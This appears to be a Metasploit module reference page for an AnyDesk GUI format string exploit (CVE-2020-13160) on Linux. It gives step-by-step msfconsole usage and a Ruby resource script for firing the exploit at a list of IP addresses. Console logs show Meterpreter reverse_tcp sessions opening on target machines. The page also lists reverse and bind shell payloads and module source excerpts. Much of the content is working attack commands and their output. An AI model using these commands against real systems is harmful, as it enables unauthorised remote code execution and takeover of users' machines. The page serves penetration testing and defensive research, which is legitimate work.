AnyDesk GUI Format String Write - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/cve_2020_13160_anydesk metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: AnyDesk GUI Format String Write
Module: exploit/linux/misc/cve_2020_13160_anydesk
Source code: modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
Disclosure date: 2020-06-16
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 50001
List of CVEs: CVE-2020-13160
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- unreliable-session: The module isn't expected to get a shell reliably (such as only once).
Stability:
- crash-service-down: Module may crash the service, and the service remains down.
Side Effects:
- screen-effects: Module may show something on the screen (Example: a window pops up).
Basic Usage
Using cve_2020_13160_anydesk against a single host
Normally, you can use exploit/linux/misc/cve_2020_13160_anydesk this way:
msf > use exploit/linux/misc/cve_2020_13160_anydesk
msf exploit(cve_2020_13160_anydesk) > show targets
... a list of targets ...
msf exploit(cve_2020_13160_anydesk) > set TARGET target-id
msf exploit(cve_2020_13160_anydesk) > show options
... show and set options ...
msf exploit(cve_2020_13160_anydesk) > exploit
Using cve_2020_13160_anydesk against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your cve_2020_13160_anydesk will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/misc/cve_2020_13160_anydesk")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This vulnerability affects Linux versions 5.5.2 and older. Old versions of AnyDesk can be downloaded from their site at
https://download.anydesk.com/linux/. Use the .deb
package for an Ubuntu installation.
The check
method on this exploit will send an AnyDesk discovery frame to the target host, which will cause the
target to respond with its own discovery frame. Each of these are sent from a random source port to the default AnyDesk
discovery service port of 50001. To configure the listening service in Metasploit, change the SRVHOST
and SRVPORT
options. The exploit will use this method to detect the remote hostname and confirm that the operating system is Linux
before proceeding.
Verification Steps
- Install the application
- Start the AnyDesk GUI. A window will open, leave it running.
- Start
msfconsole
- Do:
use exploit/linux/misc/cve_2020_13160_anydesk
- Set the module options
- Do:
exploit
- You should get a shell.
Options
SRVHOST
This option is used to specify the host on which to listen for discovery frames from AnyDesk.
SRVPORT
This option is used to specify the port on which to listen for discovery frames from AnyDesk.
Scenarios
Ubuntu 18.04 x64
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > use exploit/linux/misc/cve_2020_13160_anydesk
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set RHOSTS 192.168.159.33
RHOSTS => 192.168.159.33
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > check
[*] 192.168.159.33:50001 - The service is running, but could not be validated. Remote hostname: ubuntu
msf5 exploit(linux/misc/cve_2020_13160_anydesk) > exploit
[*] Started reverse TCP handler on 192.168.250.87:4444
[*] Discovered the remote service (hostname: ubuntu, os: linux)
[*] Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...
[*] Sending stage (3012516 bytes) to 192.168.250.237
[*] Meterpreter session 1 opened (192.168.250.87:4444 -> 192.168.250.237:51044) at 2020-06-17 10:21:44 -0400
meterpreter > getuid
Server username: no-user @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.33
OS : Ubuntu 18.04 (Linux 5.3.0-59-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/misc/cve_2020_13160_anydesk exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/cve_2020_13160_anydesk
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show info
Name: AnyDesk GUI Format String Write
Module: exploit/linux/misc/cve_2020_13160_anydesk
Platform: Linux
Arch: x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-06-16
Provided by:
scryh
Spencer McIntyre
Module side effects:
screen-effects
Module stability:
crash-service-down
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
0 Anydesk 5.5.2 Ubuntu 20.04 x64
1 Anydesk 5.5.2 Ubuntu 18.04 x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 50001 yes The target port (UDP)
Payload information:
Space: 512
Avoid: 3 characters
Description:
The AnyDesk GUI is vulnerable to a remotely exploitable format
string vulnerability. By sending a specially crafted discovery
packet, an attacker can corrupt the frontend process when it loads
or refreshes. While the discovery service is always running, the GUI
frontend must be started to trigger the vulnerability. On successful
exploitation, code is executed within the context of the user who
started the AnyDesk GUI.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-13160
https://devel0pment.de/?p=1881
Module Options
This is a complete list of options available in the linux/misc/cve_2020_13160_anydesk exploit:
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show options
Module options (exploit/linux/misc/cve_2020_13160_anydesk):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 50001 yes The target port (UDP)
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Anydesk 5.5.2 Ubuntu 20.04 x64
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/cve_2020_13160_anydesk exploit:
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show advanced
Module advanced options (exploit/linux/misc/cve_2020_13160_anydesk):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT 50001 no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 50001 yes The local port to listen on.
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/cve_2020_13160_anydesk module can exploit:
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show targets
Exploit targets:
Id Name
-- ----
0 Anydesk 5.5.2 Ubuntu 20.04 x64
1 Anydesk 5.5.2 Ubuntu 18.04 x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/cve_2020_13160_anydesk exploit:
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
7 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
8 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
9 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
11 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
12 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
13 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
14 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/cve_2020_13160_anydesk exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/cve_2020_13160_anydesk) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Remote hostname: <INFO:HOSTNAME>
Here is a relevant code snippet related to the "Remote hostname: <INFO:HOSTNAME>" error message:
125:
126: def check
127: info = discover
128: return CheckCode::Safe if info.nil?
129:
130: CheckCode::Detected("Remote hostname: #{info[:hostname]}")
131: end
132:
133: def bad_unicode
134: [ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
135: end
Discovery failed to detect the AnyDesk service
Here is a relevant code snippet related to the "Discovery failed to detect the AnyDesk service" error message:
134: [ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
135: end
136:
137: def exploit
138: info = discover
139: fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
140: fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
141:
142: print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
143:
144: connect_udp
Discovery determined the remote host OS is incompatible
Here is a relevant code snippet related to the "Discovery determined the remote host OS is incompatible" error message:
135: end
136:
137: def exploit
138: info = discover
139: fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
140: fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
141:
142: print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
143:
144: connect_udp
145:
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13733 Merged Pull Request: Add an exploit for CVE-2020-13160 (RCE in AnyDesk GUI)
References
See Also
Check also the following modules related to this module:
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/multi/http/cve_2021_35464_forgerock_openam
- exploit/multi/sap/cve_2020_6207_solman_rs
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/fileformat/cve_2017_8464_lnk_rce
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1313_system_orchestrator
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2021_21551_dbutil_memmove
- exploit/windows/local/cve_2021_40449
- exploit/windows/local/cve_2022_21882_win32k
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/cve_2022_26904_superprofile
- exploit/windows/misc/cve_2022_28381_allmediaserver_bof
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection
Related Nessus plugins:
Authors
- scryh
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.